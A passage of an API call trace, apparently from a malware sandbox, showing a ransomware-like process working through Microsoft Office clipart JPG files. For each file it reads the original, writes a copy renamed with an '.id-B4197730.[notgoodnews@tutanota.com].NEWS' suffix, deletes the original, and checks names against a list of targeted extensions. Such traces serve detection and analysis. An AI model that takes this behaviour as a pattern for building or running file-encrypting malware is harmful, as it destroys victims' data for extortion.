Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0185.244] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.244] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0185.246] GetLastError () returned 0x0 [0185.247] ReadFile (in: hFile=0x568, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x9d27, lpOverlapped=0x0) returned 1 [0185.254] WriteFile (in: hFile=0x55c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x9d30, lpOverlapped=0x0) returned 1 [0185.257] ReadFile (in: hFile=0x568, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.257] WriteFile (in: hFile=0x55c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0185.257] SetEndOfFile (hFile=0x55c) returned 1 [0185.257] CloseHandle (hObject=0x55c) returned 1 [0185.258] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.258] SetEndOfFile (hFile=0x568) returned 1 [0185.263] CloseHandle (hObject=0x568) returned 1 [0185.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0185.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.265] lstrlenW (lpString=".doc") returned 4 [0185.265] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.265] lstrlenW (lpString=".docx") returned 5 [0185.265] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0185.265] lstrlenW (lpString=".pdf") returned 4 [0185.265] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.265] lstrlenW (lpString=".xls") returned 4 [0185.265] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.266] lstrlenW (lpString=".xlsx") returned 5 [0185.266] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0185.266] lstrlenW (lpString=".ppt") returned 4 [0185.266] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.266] lstrlenW (lpString=".zip") returned 4 [0185.266] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.266] lstrlenW (lpString=".rar") returned 4 [0185.266] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.266] lstrlenW (lpString=".bz2") returned 4 [0185.266] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.266] lstrlenW (lpString=".7z") returned 3 [0185.266] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.266] lstrlenW (lpString=".dbf") returned 4 [0185.266] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.266] lstrlenW (lpString=".1cd") returned 4 [0185.266] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.266] lstrlenW (lpString=".jpg") returned 4 [0185.266] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.267] lstrlenW (lpString=".doc") returned 4 [0185.267] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.267] lstrlenW (lpString=".docx") returned 5 [0185.267] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0185.267] lstrlenW (lpString=".pdf") returned 4 [0185.267] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.267] lstrlenW (lpString=".xls") returned 4 [0185.267] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.267] lstrlenW (lpString=".xlsx") returned 5 [0185.267] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0185.267] lstrlenW (lpString=".ppt") returned 4 [0185.267] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.267] lstrlenW (lpString=".zip") returned 4 [0185.267] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.267] lstrlenW (lpString=".rar") returned 4 [0185.267] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.267] lstrlenW (lpString=".bz2") returned 4 [0185.267] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.267] lstrlenW (lpString=".7z") returned 3 [0185.267] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.267] lstrlenW (lpString=".dbf") returned 4 [0185.267] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.267] lstrlenW (lpString=".1cd") returned 4 [0185.268] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0185.268] lstrlenW (lpString=".jpg") returned 4 [0185.268] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.268] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.268] lstrlenW (lpString="J0145168.JPG") returned 12 [0185.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0185.270] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=33657) returned 1 [0185.271] CloseHandle (hObject=0x568) returned 1 [0185.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220 [0185.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0185.271] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.271] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0185.273] GetLastError () returned 0x0 [0185.273] ReadFile (in: hFile=0x568, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x8379, lpOverlapped=0x0) returned 1 [0185.653] WriteFile (in: hFile=0x55c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x8380, lpOverlapped=0x0) returned 1 [0185.655] ReadFile (in: hFile=0x568, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.655] WriteFile (in: hFile=0x55c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0185.656] SetEndOfFile (hFile=0x55c) returned 1 [0185.656] CloseHandle (hObject=0x55c) returned 1 [0185.656] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.656] SetEndOfFile (hFile=0x568) returned 1 [0185.660] CloseHandle (hObject=0x568) returned 1 [0185.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0185.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.662] lstrlenW (lpString=".doc") returned 4 [0185.662] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.662] lstrlenW (lpString=".docx") returned 5 [0185.662] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0185.662] lstrlenW (lpString=".pdf") returned 4 [0185.662] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.662] lstrlenW (lpString=".xls") returned 4 [0185.662] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.662] lstrlenW (lpString=".xlsx") returned 5 [0185.662] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0185.662] lstrlenW (lpString=".ppt") returned 4 [0185.662] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.662] lstrlenW (lpString=".zip") returned 4 [0185.662] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.662] lstrlenW (lpString=".rar") returned 4 [0185.662] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.663] lstrlenW (lpString=".bz2") returned 4 [0185.663] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.663] lstrlenW (lpString=".7z") returned 3 [0185.663] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.663] lstrlenW (lpString=".dbf") returned 4 [0185.663] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.663] lstrlenW (lpString=".1cd") returned 4 [0185.663] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.663] lstrlenW (lpString=".jpg") returned 4 [0185.663] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.663] lstrlenW (lpString=".doc") returned 4 [0185.663] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.663] lstrlenW (lpString=".docx") returned 5 [0185.663] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0185.663] lstrlenW (lpString=".pdf") returned 4 [0185.663] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.663] lstrlenW (lpString=".xls") returned 4 [0185.663] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.663] lstrlenW (lpString=".xlsx") returned 5 [0185.663] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0185.663] lstrlenW (lpString=".ppt") returned 4 [0185.663] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.664] lstrlenW (lpString=".zip") returned 4 [0185.664] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.664] lstrlenW (lpString=".rar") returned 4 [0185.664] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.664] lstrlenW (lpString=".bz2") returned 4 [0185.664] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.664] lstrlenW (lpString=".7z") returned 3 [0185.664] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.664] lstrlenW (lpString=".dbf") returned 4 [0185.664] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.664] lstrlenW (lpString=".1cd") returned 4 [0185.664] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0185.664] lstrlenW (lpString=".jpg") returned 4 [0185.664] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.664] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.664] lstrlenW (lpString="J0145810.JPG") returned 12 [0185.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0185.927] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=36792) returned 1 [0185.927] CloseHandle (hObject=0x55c) returned 1 [0185.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220 [0185.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0185.931] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.931] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.934] GetLastError () returned 0x0 [0185.934] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x8fb8, lpOverlapped=0x0) returned 1 [0185.937] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x8fc0, lpOverlapped=0x0) returned 1 [0185.939] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.939] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0185.940] SetEndOfFile (hFile=0x544) returned 1 [0185.940] CloseHandle (hObject=0x544) returned 1 [0185.940] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.940] SetEndOfFile (hFile=0x55c) returned 1 [0185.944] CloseHandle (hObject=0x55c) returned 1 [0185.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0185.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.946] lstrlenW (lpString=".doc") returned 4 [0185.946] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.946] lstrlenW (lpString=".docx") returned 5 [0185.946] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0185.946] lstrlenW (lpString=".pdf") returned 4 [0185.946] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.946] lstrlenW (lpString=".xls") returned 4 [0185.946] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.946] lstrlenW (lpString=".xlsx") returned 5 [0185.946] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0185.946] lstrlenW (lpString=".ppt") returned 4 [0185.947] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.947] lstrlenW (lpString=".zip") returned 4 [0185.947] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.947] lstrlenW (lpString=".rar") returned 4 [0185.947] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.947] lstrlenW (lpString=".bz2") returned 4 [0185.947] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.947] lstrlenW (lpString=".7z") returned 3 [0185.947] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.947] lstrlenW (lpString=".dbf") returned 4 [0185.947] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.947] lstrlenW (lpString=".1cd") returned 4 [0185.947] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.947] lstrlenW (lpString=".jpg") returned 4 [0185.947] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.947] lstrlenW (lpString=".doc") returned 4 [0185.947] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.947] lstrlenW (lpString=".docx") returned 5 [0185.947] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0185.947] lstrlenW (lpString=".pdf") returned 4 [0185.947] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.947] lstrlenW (lpString=".xls") returned 4 [0185.948] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.948] lstrlenW (lpString=".xlsx") returned 5 [0185.948] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0185.948] lstrlenW (lpString=".ppt") returned 4 [0185.948] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.948] lstrlenW (lpString=".zip") returned 4 [0185.948] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.948] lstrlenW (lpString=".rar") returned 4 [0185.948] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.948] lstrlenW (lpString=".bz2") returned 4 [0185.948] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.948] lstrlenW (lpString=".7z") returned 3 [0185.948] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.949] lstrlenW (lpString=".dbf") returned 4 [0185.949] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.949] lstrlenW (lpString=".1cd") returned 4 [0185.949] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0185.949] lstrlenW (lpString=".jpg") returned 4 [0185.949] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.949] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.949] lstrlenW (lpString="J0145879.JPG") returned 12 [0185.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0185.960] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=35419) returned 1 [0185.960] CloseHandle (hObject=0x3fc) returned 1 [0185.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220 [0185.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, 